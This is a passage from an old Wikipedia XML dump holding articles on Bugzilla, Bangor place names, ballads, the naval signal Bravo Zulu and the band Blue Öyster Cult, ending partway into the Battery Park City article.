|latest_release_date = [[September 30]], [[2005]]
|operating_system = [[Cross-platform]]
|genre = [[Bugtracker]]
|license = [[Mozilla Public License|MPL]]
|website = [http://www.bugzilla.org Bugzilla project]
}}

'''Bugzilla''' is a general-purpose [[bugtracker|bug-tracking]] tool originally developed and used by the [[Mozilla Foundation]].  Since Bugzilla is [[World Wide Web|web]]-based and can be considered both [[free software]] and [[open-source software]], it is also the [[bug tracking]] tool of choice for many projects, both open source and [[proprietary software|proprietary]].

Bugzilla relies on an installed [[web server]], such as [[Apache HTTP Server|Apache]] and a [[database management system]], such as [[MySQL]] or [[PostgreSQL]], to perform its work. Bugs can be submitted by anybody, and will be assigned to a particular developer. Various status updates for each bug are allowed, together with user notes and bug examples.

Bugzilla's notion of a [[software bug|bug]] is very general; for instance, [[mozilla]].org uses it to track feature requests as well.

==Requirements==
Release notes such as [http://www.bugzilla.org/releases/2.20/release-notes.html those for Bugzilla 2.20] indicate the exact set of dependencies, which include:

*A compatible database server (often a version of [[MySQL]])
*A suitable release of [[Perl]] 5
*An assortment of Perl modules
*A compatible web server such as Apache (though any web server that supports CGI can work)
*A suitable [[mail transfer agent]] such as [[Sendmail]], [[qmail]], [[Postfix (software)|Postfix]], or [[Exim]]

==External links==
*[http://www.bugzilla.org Bugzilla Home Page]
*[http://landfill.bugzilla.org/ Bugzilla Live Demo]
*[http://www.bugzilla.org/docs/win32install.html Step-By-Step Bugzilla Installation On Windows ]
*[https://bugzilla.mozilla.org Mozilla.org's Bugzilla Installation]
*[http://bugzilla.wikimedia.org/ Bugzilla] for [[WikiMedia]]/[[Wikipedia]]
*[http://dmoz.org/Computers/Software/Configuration_Management/Bug_Tracking/ Open Directory - Bug Tracking Software]
*[http://wiki.mozilla.org/Bugzilla:Modifying_Your_Installation Wiki on Modifying Bugzilla]
*[http://weblogs.mozillazine.org/gerv/archives/008446.html Bugzilla Installation List Tops 400]
*[http://oss.segetech.com/integration.html Bugzilla/CVS/Wiki integration]
*[http://oss.segetech.com/bugzilla-svn-wiki.html Bugzilla/SVN/Wiki integration]

[[Category:Free software]]
[[Category:Mozilla]]
[[Category:Perl software]]
[[Category:Project management software]]

[[cs:Bugzilla]]
[[de:Bugzilla]]
[[es:Bugzilla]]
[[fr:Bugzilla]]
[[id:Bugzilla]]
[[he:באגזילה]]
[[ja:Bugzilla]]
[[pl:Bugzilla]]
[[ru:Bugzilla]]
[[fi:Bugzilla]]
[[th:Bugzilla]]</text>
    </revision>
  </page>
  <page>
    <title>Bangor</title>
    <id>4574</id>
    <revision>
      <id>39088517</id>
      <timestamp>2006-02-10T17:12:09Z</timestamp>
      <contributor>
        <username>Kirjtc2</username>
        <id>3222</id>
      </contributor>
      <minor />
      <text xml:space="preserve">&lt;!--__NOTOC__--&gt;

'''Bangor''' is a place-name found in a number of countries.

==Australia==

*[[Bangor, New South Wales]]

==Canada==

&lt;!--Canadian places named &quot;Bangor&quot;--&gt;
*[[Bangor, Nova Scotia]]
*[[Bangor, Ontario]]
*[[Bangor, Prince Edward Island]]
*[[Bangor (city), Saskatchewan]]
*[[Bangor (town), Saskatchewan]]
&lt;!--Canadian place-names including the word &quot;Bangor&quot;--&gt;
*[[Bangor Lodge, Saskatchewan]]
*[[Bangor Road, Prince Edward Island]]

==France==

*[[Bangor, Morbihan]]

==United Kingdom==

&lt;!--British places named &quot;Bangor&quot;--&gt;
*[[Bangor, County Down]]
*[[Bangor, Wales]]
&lt;!--British place-names including the word &quot;Bangor&quot;--&gt;
*[[Bangor-on-Dee]], in Wales; also known as '''Bangor Is-Coed''' or '''Bangor-Is-y-Coed'''

==United States==

&lt;!--American places named &quot;Bangor&quot;--&gt;
*[[Bangor, Alabama]]
*[[Bangor, California]]
*'''[[Bangor, Maine]]''' (this is the largest Bangor in the United States)
*[[Bangor, Michigan]] ''(see also Bangor Township, Michigan, below)''
*[[Bangor, New York]]
*[[Bangor, Pennsylvania]]
*[[Bangor, Washington]]
*[[Bangor, Wisconsin]] (village)
*[[Bangor (town), Wisconsin]]
&lt;!--American place-names including the word &quot;Bangor&quot;--&gt;
*[[Bangor Township, Iowa]]
*[[Bangor Township, Minnesota]]
*[[Bangor Township, Bay County, Michigan]] ''(see also Bangor, Michigan, above)''
*[[Bangor Township, South Dakota]]
*[[East Bangor, Pennsylvania]]

{{geodis}}

[[ang:Bancorena byrg]]
[[de:Bangor]]
[[no:Bangor]]
[[sv:Bangor]]</text>
    </revision>
  </page>
  <page>
    <title>Ballad</title>
    <id>4575</id>
    <revision>
      <id>42088818</id>
      <timestamp>2006-03-03T19:26:10Z</timestamp>
      <contributor>
        <username>AshishG</username>
        <id>172488</id>
      </contributor>
      <minor />
      <comment>'story' link repair</comment>
      <text xml:space="preserve">{{otheruses}}

A '''ballad''' is a story in a [[song]], usually a [[narrative poetry|narrative]] song or [[poem]]. It is a rhythmic [[saga]] of a past affair, which may be heroic, romantic or satirical, political (affected by the previous three types mentioned, refers to either glorifying the exploits or causes of a particular leader or group,  and is typical of totalitarian political systems), almost inevitably catastrophic, which is related in the third person, usually with foreshortened alternating four- and three-stress lines ('ballad meter') and simple repeating [[rhyme]]s, and often with a refrain.
If it is based on political or religious themes, a ballad may then be a version of a [[hymn]]. Ballads should not be confused with the [[ballade]], a 14th and 15th century French verse form.



==Characteristics==

Some characteristics of a ballad are:
* A ballad tells a story, typically in third person narrative.
* A ballad focuses on actions and dialogue rather than characteristics and narration.
* A ballad has a simple metrical structure and sentence structure.
* A ballad is sung to a [[Musical_mode|modal]] melody.
* A ballad is of oral tradition, passed down by word of mouth. Therefore, it undergoes changes and is of anonymous authorship.
* A ballad usually has a theme that is not directly spoken.
* A ballad is often based on true stories.

Repetition and refrains are also used in many ballads. This is a strong resemblance to many forms of traditional music. Many traditional ballads have themes related to the supernatural, and occasionally ballads contain a [[morality|moral]] dimension to them, usually expressed in a final verse.

==Broadsheet ballads==

Broadsheet ballads (also known as [[broadside ballads]], cheaply printed and often topical, humorous, even subversive, were hawked in English streets from the 16th century; the legends of [[Robin Hood]] and the pranks of [[Puck (mythology)|Puck]] were disseminated through broadsheet ballads. 

New ballads were written about current events like fires, the birth of monstrous animals, and so forth, giving particulars of names and places. Satirical ballads and [[monarchism|Royalist]] ballads contributed to 17th century political discourse. In a sense, these ballads were antecedents of the modern [[newspaper]]. 

[[Thomas Percy (bishop)|Thomas Percy]], [[Robert Harley]], [[Francis James Child]], Sir [[Walter Scott]] and [[James Hogg]] were early collectors and publishers of ballads from the oral tradition, broadsheets and previous anthologies. Percy's publication of ''[[Reliques of Ancient Poetry]]'' and Harley's collections, such as [[The Bagford Ballads]], were of great import in beginning the study of ballads.  Some of the collectors also wrote new ballads. Many ballads are referenced in scholarly works by their number in Child's compilation (see the [[Child Ballads]]). The American poet [[Carl Sandburg]] was influenced by ballads, and published a collection he had assembled as ''The American Songbag'' (1927).

The form of a ballad has been imitated in modern poetry&amp;mdash; most notably by the Canadian ballads of [[Robert W. Service]], in [[Rudyard Kipling|Kipling]]'s 'Road to Mandalay' or in '[[Casey at the Bat]].' 'The Ballad of the Bread-man', is [[Charles Causley]]'s re-telling of the story of the birth of [[Jesus]]. Many modern written musical ballads are in the repertory of American [[folk music]].

===Murder ballads===

A specific subgenre of the broadsheet ballad is the murder ballad. Usually told from the point of view of the killer, murder ballads typically recount the details of the crime &amp;mdash; who the victim is, why the murderer decides to kill her, how she is lured to the murder site and the act itself &amp;mdash; followed by the escape and/or capture of the murderer. Often the ballad ends with the murderer in jail or on their way to the gallows, occasionally with a plea for the listener to learn from the evils committed by the speaker. Most of the murderers are male and the victims women. An exception to this general rule would be 'Henry Lee' (a duet with  [[PJ Harvey]]) and 'The Curse of Milhaven' on the [[Murder Ballads]] album by [[Nick Cave and the Bad Seeds]].

One of the best known writers of the murder ballad is [[John R. Cash]] ([[Johnny Cash]]). His song ''[[Delia's Gone]]'' is a classic example: 

Begins:
''I went down to Memphis, And I met Delia there, Found her in a parlour, Then I tied her to a chair'' 

Chorus: 
''Delia’s gone,One more round,Delia’s gone''

Ends:
''Jailer oh Jailer, Jailer I can’t sleep, Cause all around my bedside, I hear the patter of Delia’s feet''

Chorus: 
''Delia’s gone, One more round, Delia’s gone''

Often the details and locales for the murder ballad change over time, reflecting the audience and the performer. For example, &quot;The Wexford Girl&quot;[http://sniff.numachi.com/~rickheit/dtrad/pages/tiWXFRDGRL.html] is essentially the same ballad as &quot;Knoxville Girl'[http://www.bluegrassnet.com/tgbs/K/Knoxville_girl.html] with the setting transposed from Ireland to Tennessee.

==Border ballads==

[[Border ballads]] are a subgenre of folk ballads collected in the area along the [[England|Anglo]]-[[Scotland|Scottish]] border, especially those concerned with [[border reivers]] and [[outlaw]]s, or with historical events in the [[Border country|Borders]].

Notable historical ballads include &quot;[[The Battle of Otterburn]]&quot; and
&quot;The Hunting of Cheviot&quot; or &quot;[[The Ballad of Chevy Chase]]&quot;.

Outlaw ballads include &quot;[[Johnnie Armstrong]]&quot;, &quot;[[Kinmont Willie]]&quot;, and &quot;[[Jock o' the Side]]&quot;.

Other types of ballads (including fairy ballads like &quot;[[Thomas the Rhymer]]&quot;) are often included in the category of border ballads.

==Literary ballads==

Literary ballads are those composed and written formally. The form, with its connotations of simple folkloric authenticity, became popular with the rise of [[Romanticism]] in the later 18th century. Literary ballads may then be set to music, as [[Franz Schubert|Schubert]]'s ''[[Der Erlkönig]]'', set to a literary ballad by [[Johann Wolfgang von Goethe|Goethe]] (see also ''[[Der Zauberlehrling]]''). In [[Romantic opera]] a ballad set into the musical texture may emphasize or play against the theatrical moment. Atmospheric ballads in operas were initiated in [[Carl Maria von Weber|Weber]]'s ''[[Der Freischutz| Der Freischütz]]'' and include Senta's ballad in [[Richard Wagner|Wagner]]'s ''[[Fliegender Holländer]]'', or the 'old song' 'Salce' [[Desdemona (Othello)|Desdemona]] sings in [[Giuseppe Verdi|Verdi]]'s ''[[Otello]]''. Compare the stanza-like structure and narrative atmosphere of the musical '''[[Ballades]]''' for solo piano of [[Frédéric Chopin|Chopin]] or [[Johannes Brahms|Brahms]].

==Ballad opera==

A particularly English form, the ballad opera, has as its most famous example [[John Gay]]'s ''[[The Beggar's Opera]],'' which inspired the 20th-century cabaret operas of [[Bertolt Brecht]] and [[Kurt Weill]] (''q.v.''). Ballad strophs usually alternate between iambic tetrameter and iambic pentameter, though this is not always the case.

==Jazz ballad==

The jazz ballad is a sentimental narrative [[Tempo|adagio]] akin to a [[blues]] song. The regrets of love gone wrong provide the elements of the ballad called a '[[torch song]].' By extension, any popular song with a slow beat is termed a 'ballad.' In modern music, a song called a ballad is one which tells a story but may not follow any of the other conventions. Many styles of music such as [[Rock and roll|rock]], [[pop music|pop]], and [[country music|country]] label some songs as ballads.  See also [[blues ballad]].

==Power ballad==

See also [[Power ballad]].  Not really a ballad at all but a love song performed using rock instruments.

==Famous ballads==

*Traditional
**[[Ballad of Jesse James]]
**[[Ballad of Chevy Chase]]
**[[Barbara Allen]]
**[[The Battle of New Orleans]]
**[[The Battle of Harlaw]]
**[[The Battle of Otterburn]]
**[[Black is the Color of My True Love's Hair]]
**[[The Cruel Brother]]
**[[Golden Vanity]]
**[[The Great Silkie of Sule Skerry]]
**[[The Greensleeves]] ([[Greensleeves]])
**[[Henry Martin]]
**[[John Barleycorn]]
**[[Johnny Has Gone For A Soldier]]
**[[Lady Isabel and the Elf Knight]]
**[[Lord Randall]]
**[[Lovely Joan]]
**[[Lyke-Wake Dirge]]
**[[Mary Tamlin]]
**[[The Mines of Avondale]]
**&quot;[[Molly and Tenbrooks]]&quot; (aka &quot;The Racehorse Song&quot;)
**[[Shenandoah (song)|Shenandoah]]
**Many ballads of [[Robin Hood]]
**[[The Scarborough Fair]] ([[Scarborough Fair]])
**[[Sir Patrick Spens]]
**[[Tam Lin]]
**[[The Three Ravens]]
**[[Thomas the Rhymer]]
**[[The Gypsie Laddie]]
**[[Verner Raven]] - oldest Scandinavian ballad with music 
*Modern
**[[American Pie (song)|American Pie]]
**[[The Wreck of the Edmund Fitzgerald]]
**[[Frankie and Johnny]]
**[[House of the Rising Sun]]
**[[The Devil Went Down to Georgia]]
**[[Ballad of the Alamo]]
**[[Ballad of the Green Berets]]
**[[Ballad of Davy Crockett]]
**[[Where Were You? (When The World Stopped Turning)]]
**[[The Ballad of Bilbo Baggins]]
**[[Morning Bell (song)|Morning Bell]]
**[[The Ballad of John and Yoko]]
**[[Hotel California (song)|Hotel California]]
**[[Taxi Driver (song)|Taxi Driver]]
**[[Tribute (song)|Tribute]]
**[[Going to California]]

== External Resources ==

*[http://www.bodley.ox.ac.uk/ballads/ballads.htm The Bodleian Library Ballad Collection: view facsimiles of printed ballads]
*[http://www.csufresno.edu/folklore/BalladSearch.html The Traditional Ballad Index]
*[http://www.ericzorn.com/music/murder/ Murder Ballads]
*[http://mysongbook.de/msb/songlist.html English and some German ballads]
*[http://www.contemplator.com/ Folk Music, Child Ballads, Popular Songs In American History, Sea Shanties etc.]

== See also ==

* [[Child ballads]]
* [[Francis James Child]]
* [[Alfred Perceval Graves|Graves, Alfred Perceval]]

[[Category:Ballads| ]]
[[Category:Poetic form]]
[[Category:Song forms]]
[[Category:Folk music]]
&lt;!-- [[Category:Musical forms]] redundant --&gt;

[[cs:Balada]]
[[cy:Baled]]
[[da:Ballade]]
[[de:Ballade]]
[[fr:Ballade]]
[[gl:Balada]]
[[he:בלדה]]
[[nl:Ballade]]
[[ja:バラード]]
[[pl:Ballada]]
[[ps:Ballada]]
[[pt:Balada]]
[[ro:Baladă]]
[[sk:Balada]]
[[sl:Balada]]
[[fi:Balladi]]
[[sv:Ballad]]</text>
    </revision>
  </page>
  <page>
    <title>Bravo Zulu</title>
    <id>4578</id>
    <revision>
      <id>15902840</id>
      <timestamp>2005-04-15T05:22:14Z</timestamp>
      <contributor>
        <username>Bobo192</username>
        <id>97951</id>
      </contributor>
      <comment>Piping</comment>
      <text xml:space="preserve">'''Bravo Zulu''' is a [[Navy|naval]] signal, conveyed by flaghoist or voice radio, meaning &quot;well done&quot;; it has also passed into the spoken and written vocabulary. It can be combined with the &quot;negative&quot; signal, spoken or written NEGAT, to say &quot;NEGAT Bravo Zulu,&quot; or &quot;not well done.&quot; 

There are some myths and legends attached to this signal. The one most frequently heard has Admiral &quot;Bull&quot; [[William Halsey, Jr|Halsey]] sending it to ships of Task Force 38 during [[World War II]]. He could not have done this, since the signal did not exist at that time. 

&quot;Bravo Zulu&quot; actually comes from the [[Allied Naval Signal Book]] (ACP 175 series), an international naval signal code adopted after the [[North Atlantic Treaty Organization]] (NATO) was created in [[1949]]. Until then, each navy had used its own signal code and operational manuals. World War II experience had shown that it was difficult, or even impossible, for ships of different navies to operate together unless they could readily communicate, and ACP 175 was designed to remedy this. 

In the [[United States Navy|U.S. Navy]] signal code, used before ACP 175, &quot;well done&quot; was signaled as TVG, or &quot;Tare Victor George&quot; in the U.S. phonetic alphabet of that time. ACP 175 was organized in the general manner of other signal books, that is, starting with 1-flag signals, then 2-flag and so on. The 2-flag signals were organized by general subject, starting with AA, AB, AC, ... AZ, BA, BB, BC, ... BZ, and so on. The B- signals were called &quot;Administrative&quot; signals, and dealt with miscellaneous matters of administration and housekeeping. The last signal on the &quot;Administrative&quot; page was BZ, standing for &quot;well done.&quot; 

At that time BZ was not rendered as &quot;Bravo Zulu,&quot; but in each navy's particular phonetic alphabet. In the U.S. Navy, BZ was spoken as &quot;Baker Zebra.&quot; In the meanwhile, the [[International Civil Aviation Organization]] (ICAO) had adopted English as the international air traffic control language. They developed a [[Nato phonetic alphabet|phonetic alphabet]] for international aviation use, designed to be as &quot;pronounceable&quot; as possible by flyers and traffic controllers speaking many different languages. This was the &quot;Alpha, Bravo, Charlie, Delta...&quot; alphabet used today. The Navy adopted this ICAO alphabet in March [[1956]]. It was then that &quot;Baker Zebra&quot; finally became &quot;Bravo Zulu.&quot;</text>
    </revision>
  </page>
  <page>
    <title>Blue Öyster Cult</title>
    <id>4579</id>
    <revision>
      <id>41072887</id>
      <timestamp>2006-02-24T21:53:37Z</timestamp>
      <contributor>
        <username>Jimjoe</username>
        <id>41511</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Infobox_band |
  band_name		= Blue Öyster Cult |
  image			= [[Image:Blue_oyster_cult_8x10.jpg|240px]] | 
  years_active		= [[1960s]]&amp;ndash;present |
  status		= Active |
  origin		= [[Long Island]], [[New York]] |
  country               = [[United States]] |
  music_genre		= [[Psychedelic rock|Psychedelic]]&lt;br /&gt;[[Heavy metal music|Heavy metal]] |
  record_label          = [[Columbia Records]] |
  current_members	= [[Eric Bloom]]&lt;br/&gt;[[Buck Dharma]]&lt;br/&gt;[[Allen Lanier]]&lt;br/&gt;[[Richie Castellano]]&lt;br /&gt;[[Jules Rodino]] | }}
'''Blue Öyster Cult''' is a [[psychedelic rock|psychedelic]]/[[Heavy metal music|heavy metal]] band probably best known for two songs: their [[1976]] single &quot;[[(Don't Fear) The Reaper]]&quot; from the album ''[[Agents of Fortune]]'' (also featured in the cult movie ''[[Halloween (film)|Halloween]]'', and in [[Stephen King]]'s [[novel]] [[The Stand]]), and their [[1981]] single &quot;Burnin' for You&quot; from the album ''[[Fire of Unknown Origin]]''. Their song &quot;Veteran of the Psychic Wars,&quot; with lyrics penned by [[Michael Moorcock]], appeared in the soundtrack of the movie ''[[Heavy Metal (film)|Heavy Metal]]''. Two other well-known songs are &quot;Godzilla&quot; ([[1977]]) from ''[[Spectres (album)|Spectres]]'', and &quot;Astronomy&quot; ([[1973]]) from ''[[Secret Treaties]]''; the latter was covered by [[Metallica]] on  [[1998]]'s ''[[Garage Inc.]]''.

The members of the band began to come together in the late 1960s, as a band called &quot;Soft White Underbelly&quot;, in the vicinity of [[Stony Brook University]] on [[Long Island, New York]], at the prompting of critic [[Sandy Pearlman]]. Pearlman was very influential for the band, getting them [[gig]]s, their first record with [[Columbia Records|Columbia]], and using his [[poetry]] as the basis of many of their songs, including &quot;Astronomy&quot;. The band changed its name to the Stalk-Forrest Group in [[1968]].  One single was released on Elektra Records under this name in [[1969]], though over one album's worth of songs were recorded.  The name again changed to the Blue Öyster Cult in [[1970]]. The name comes from the famous Long Island &quot;Blue Point Oysters.&quot; (The name was suggested by Sandy; the [[Heavy metal umlaut|umlaut]] was added later.)  They became a successful heavy metal band during the [[1970s]]. They are still playing in the [[21st century]]. 

The [[umlaut]] on the &quot;O&quot; in their name started the trend for using the &quot;[[heavy metal umlaut]]&quot; in band names. It was suggested to Pearlman by rock critic [[Richard Meltzer]]. [http://www.spiraling.com/words/umlaut.html]  Additionally, some have suggested Pearlman created the term &quot;[[Heavy metal music|Heavy Metal]]&quot; via the use of the band's logo - an alchemical symbol for lead, one of the heaviest of metals.

Various other names used by the Blue Öyster Cult are the Cows, The Disciples, Travesty, and Oaxaca.

The BÖC have had a minor resurgence recently with two new albums, ''[[Heaven Forbid]]'' and ''[[Curse of the Hidden Mirror]]'', with sixteen songs written by cyberpunk/horror novelist [[John Shirley]]. 

In the Summer of [[2005]] Blue Öyster Cult performed at Retrofest in Chilliwack, British Columbia, with [[Rick Derringer]], [[Edgar Winter]], [[Jefferson Starship]], and [[It's A Beautiful Day]].

== Lineup == 
The current members of the band are:
*[[Eric Bloom]]: [[singer|lead vocal]]s, [[guitar]] 
*[[Buck Dharma]]: [[guitar|lead guitar]], [[singer|vocal]]s 
*[[Allen Lanier]]: [[synthesizer|keyboard]]s, [[guitar]]
*[[Richie Castellano]]: [[bass guitar|bass]], [[singer|vocal]]s 
*[[Jules Radino]]: [[drums]]

The original lineup of the band was:
*[[Eric Bloom]]: [[singer|lead vocal]]s, [[guitar]]
*[[Buck Dharma]]: [[guitar|lead guitar]], [[singer|vocal]]s 
*[[Allen Lanier]]: [[synthesizer|keyboard]]s, [[guitar]]
*[[Joe Bouchard]]: [[bass guitar|bass]], [[singer|vocal]]s
*[[Albert Bouchard]]: [[drums]], [[singer|vocal]]s

==Former Members==
===Bass===
*[[Joe Bouchard]] ([[1970]]&amp;ndash;[[1986]])
*[[Jon Rogers]] ([[1987]]&amp;ndash;[[1995]])
*[[Greg Smith]] ([[1995]])
*[[Danny Miranda]] ([[1995]]&amp;ndash;[[2004]])

===Drums===
*[[Albert Bouchard]] ([[1970&amp;ndash;1981]], [[1985]]&amp;ndash;Californian tour) 
*[[Rick Downey]] ([[1981]]&amp;ndash;[[1984]])
*[[Thommy Price]] ([[1985]])
*[[Jimmy Wilcox]] ([[1985]]&amp;ndash;[[1987]])
*[[Ron Riddle]] ([[1987]]&amp;ndash;[[1991]])
*[[Chuck Burgi]] ([[1991]]&amp;ndash;[[1992]], [[1992]]&amp;ndash;[[1995]], [[1996]]&amp;ndash;[[1997]]) 
*[[John Miceli]] ([[1992]], [[1995]]) 
*[[John O'Reilly]] ([[1995]]&amp;ndash;[[1996]]) 
*[[Bobby Rondinelli]] ([[1997]]&amp;ndash;[[2004]])
*[[Bevin]] ([[2004]]&amp;ndash;[[2006]])

===Keyboards===
*[[Tommy Zvonchek]] ([[1985]]&amp;ndash;[[1987]]) 
*[[Kasim Sultan]] ([[1998]])

===Guitars===
*[[Al Pitrelli]] ([[1999]])

==Vocals==
While Eric Bloom has always been the band's official lead singer, other members of the band have contributed lead vocals throughout its history. 

===Donald Roeser (Buck Dharma)===

&quot;Then Came the Last Days of May&quot;, &quot;Before the Kiss, a Redcap&quot;, &quot;Teen Archer&quot;, &quot;(Don't Fear) The Reaper&quot;, &quot;Godzilla&quot;, &quot;Golden Age of Leather&quot;, &quot;I Love the Night&quot;, &quot;In Thee&quot;, &quot;Mirrors&quot;, &quot;The Vigil&quot;, &quot;Lonely Teardrops&quot;, &quot;Deadline&quot;, &quot;Burnin' for You&quot;, &quot;Don't Turn Your Back&quot;, &quot;Shooting Shark&quot;, &quot;Veins&quot;, &quot;Dragon Lady&quot;, &quot;Dancin' in the Ruins&quot;, &quot;Perfect Water&quot;, &quot;Spy in the House of the Night&quot;, &quot;Madness to the Method&quot;, &quot;Astronomy&quot;, &quot;Les Invisibles&quot;, &quot;Magna of Illusion&quot;, &quot;Harvest Moon&quot;, &quot;X-Ray Eyes&quot;, &quot;Damaged&quot;, &quot;Real World&quot;, &quot;Live for Me&quot;, &quot;Still Burnin' &quot;, &quot;Dance on Stilts&quot;, &quot;Pocket&quot;, &quot;Here Comes That Feeling&quot;, &quot;Stone of Love&quot;

===Joe Bouchard===

&quot;Screams&quot;, &quot;Hot Rails to Hell&quot;, &quot;Wings Wetted Down&quot;, &quot;Morning Final&quot;, &quot;Celestial The Queen&quot;, &quot;Nosferatu&quot;, &quot;Moon Crazy&quot;, &quot;Fallen Angel&quot;, &quot;Vengeance (The Pact)&quot;, &quot;Light Years of Love&quot;, &quot;When the War Comes&quot;

===Albert Bouchard===

&quot;Cities on Flame with Rock and Roll&quot;, &quot;Dominance and Submission&quot;, &quot;The Revenge of Vera Gemini&quot;, &quot;Sinful Love&quot;, &quot;Debbie Denise&quot;, &quot;Death Valley Nights&quot;, &quot;Fireworks&quot;, &quot;You're Not the One (I Was Looking For)&quot;, &quot;Hungry Boys&quot;, &quot;Blue Öyster Cult&quot;

===Allen Lanier===

&quot;True Confessions&quot;

===Jon Rogers===

&quot;Imaginos&quot;

===Joey Cerisano===

&quot;The Siege and Investiture of Baron Von Frankenstein's Castle at Weisseria&quot;

==Cowbell==
Blue Öyster Cult was parodied in a [[2000]] episode of [[NBC]]'s famed ''[[Saturday Night Live]]''.  Actor [[Christopher Walken]] portrayed 1970s mega-rock producer Bruce Dickinson who oversaw the fictional recording of &quot;(Don't Fear) The Reaper.&quot;  In the skit, a dissatisfied, somewhat psychotic Dickinson loved the song but insisted he &quot;gotta have [[more cowbell]].&quot;  As with many SNL skits, lines from the skit became [[catch phrase]]s, even going so far as to spawn merchandise based on the skit. The band has responded to this by having a [[roadie]] play a cowbell on stage during performances.

Bruce Dickinson is not to be confused with the singer of [[Iron Maiden]]. In reality, Bruce Dickinson was not a record producer, but a studio engineer who worked with BÖC on other recordings, but had nothing to do with &quot;(Don't Fear) The Reaper.&quot;  

Also in the skit, [[Will Ferrell]] portrays a member of the band named &quot;Gene Frenkle.&quot; Gene was the cowbell player, and at the end of the skit memorium was shown, saying ''Gene Frenkle, 1950&amp;ndash;2000'', as if he had died. Eric Bloom later said in an interview that Gene Frenkle was absolutely fictional, and that during his whole career he had never met or worked with anyone named Gene Frenkle. Bloom also said that it was he who played the cowbell on that recording.

==Discography==
{| class=&quot;wikitable&quot; width=&quot;50%&quot;
! Title
! Year
|-
|colspan=3 align=&quot;center&quot; | '''Studio [[album]]s'''
|-
| align=&quot;left&quot; | ''[[Blue Öyster Cult (album)|Blue Öyster Cult]]''
| align=&quot;center&quot; | [[1972]]
|-
| align=&quot;left&quot; | ''[[Tyranny and Mutation]]''
| align=&quot;center&quot; | [[1973]]
|-
| align=&quot;left&quot; | ''[[Secret Treaties]]''
| align=&quot;center&quot; | [[1974]]
|-
| align=&quot;left&quot; | ''[[Agents of Fortune]]''
| align=&quot;center&quot; | [[1976]]
|-
| align=&quot;left&quot; | ''[[Spectres (album)|Spectres]]''
| align=&quot;center&quot; | [[1977]]
|-
| align=&quot;left&quot; | ''[[Mirrors (album)|Mirrors]]''
| align=&quot;center&quot; | [[1979]]
|-
| align=&quot;left&quot; | ''[[Cultösaurus Erectus]]''
| align=&quot;center&quot; | [[1980]]
|-
| align=&quot;left&quot; | ''[[Fire of Unknown Origin]]''
| align=&quot;center&quot; | [[1981]]
|-
| align=&quot;left&quot; | ''[[The Revölution by Night]]''
| align=&quot;center&quot; | [[1983]]
|-
| align=&quot;left&quot; | ''[[Club Ninja]]''
| align=&quot;center&quot; | [[1986]]
|-
| align=&quot;left&quot; | ''[[Imaginos]]''
| align=&quot;center&quot; | [[1988]]
|-
| align=&quot;left&quot; | ''[[Heaven Forbid]]''
| align=&quot;center&quot; | [[1998]]
|-
| align=&quot;left&quot; | ''[[Curse of the Hidden Mirror]]''
| align=&quot;center&quot; | [[2001]]
|-
|colspan=3 align=&quot;center&quot; | '''Live [[album]]s'''
|-
| align=&quot;left&quot; | ''[[On Your Feet or on Your Knees]]''
| align=&quot;center&quot; | [[1975]]
|-
| align=&quot;left&quot; | ''[[Some Enchanted Evening (album)|Some Enchanted Evening]]''
| align=&quot;center&quot; | [[1978]]
|-
| align=&quot;left&quot; | ''[[Extraterrestrial Live]]''
| align=&quot;center&quot; | [[1982]]
|-
| align=&quot;left&quot; | ''[[A Long Day's Night]]''
| align=&quot;center&quot; | [[2002]]
|-
|colspan=3 align=&quot;center&quot; | '''Movie [[Soundtrack]]s'''
|-
| align=&quot;left&quot; | ''[[Bad Channels Soundtrack]]''
| align=&quot;center&quot; | [[1992]]
|}

== Band Name == 

The name &quot;Blue Öyster Cult&quot; came from a 1960s poem written by manager [[Sandy Pearlman]]. It was part of his &quot;Imaginos&quot; poetry, later used more extensively in their 1988 album ''[[Imaginos]]''.  Pearlman had also come up with the band's earlier name, &quot;Soft White Underbelly&quot;, from a phrase used by [[Winston Churchill]] in describing [[Italy]] during [[World War II]].  In Pearlman's poetry, the &quot;Blue Oyster Cult&quot; was a collection of aliens who had collected to secretly guide Earth's history.

The addition of the [[umlaut]] was suggested by either [[Allen Lanier]] or [[Richard Meltzer]].  Other bands later copied the practice of using umlauts or 
diacritic marks in their own band logos, such as [[Motörhead]], [[Mötley Crüe]], and the parody band [[Spinal Tap]], which put an &quot;umlaut&quot; over the n (a symbol which does not actually appear in any real language). [http://members.aol.com/bocfaqman/boc_faq.html]

== References ==
*[http://www.blueoystercult.com/ Official Blue Öyster Cult web site]
*[http://www.rockreviews.co.uk Rock Reviews]
*[http://members.aol.com/bocfaqman/ The BÖC FAQ MAN] - Frequently Asked Questions

==External links==
*[http://www.blueoystercult.com/Studio/BOC_Discography.pdf Official Blue Öyster Cult discography] ([[Portable Document Format|PDF]]; requires [[Adobe Acrobat|Adobe Reader]])
*[http://www.bocfans.com/ BOCfans.com] (Bulletin board, bios, pics, FAQ, and discography)
*[http://www.flamingtelepaths.com/ Flamingtelepaths.com] - BOC fan sites, with blog
* [http://www.rockpages.gr/tributes/blueoystercult-en.htm Rockpages.gr] - Band history

=== Band member sites ===
*[http://www.buckdharma.com/ Official Buck Dharma site]
*[http://www.ericbloom.net/ Official Eric Bloom site]
*[http://www.richiecastellano.com/ Official Richie Castellano site]
*[http://www.hotrails.co.uk/ BOC Gig lists and reviews] ([http://www.hotrails.co.uk/bds/ Joe Bouchard fan page]) ([http://www.hotrails.co.uk/tbs/ Albert Bouchard Fan page])

[[Category:American musical groups]]
[[Category:Rock music groups]]

[[de:Blue Öyster Cult]]
[[fr:Blue Öyster Cult]]
[[he:בלו אויסטר קאלט]]
[[ru:Рондинелли, Бобби]]
[[simple:Blue Öyster Cult]]
[[fi:Blue Öyster Cult]]
[[sv:Blue Öyster Cult]]</text>
    </revision>
  </page>
  <page>
    <title>Battery Park City</title>
    <id>4580</id>
    <revision>
      <id>41658736</id>
      <timestamp>2006-02-28T21:36:30Z</timestamp>
      <contributor>
        <username>Richard Arthur Norton (1958- )</username>
        <id>158051</id>
      </contributor>
      <comment>{{Manhattan}}</comment>
      <text xml:space="preserve">'''Battery Park City''' is a 90 acre (0.4 km&amp;sup2;) [[planned community]] at the southwestern tip of [[Manhattan]] in [[New York City]], [[United States]].  The land upon which it stands was created from the [[Hudson River]] using 1.2 million cubic yards (917,000 cubic meters) of dirt and rocks excavated during the construction of the [[World Trade Center]] and certain other construction projects. The neighborhood, which is the site of the [[World Financial Center]] along with numerous housing, commercial and retail buildings, is named for adjacent [[Battery Park (New York)|Battery Park]].

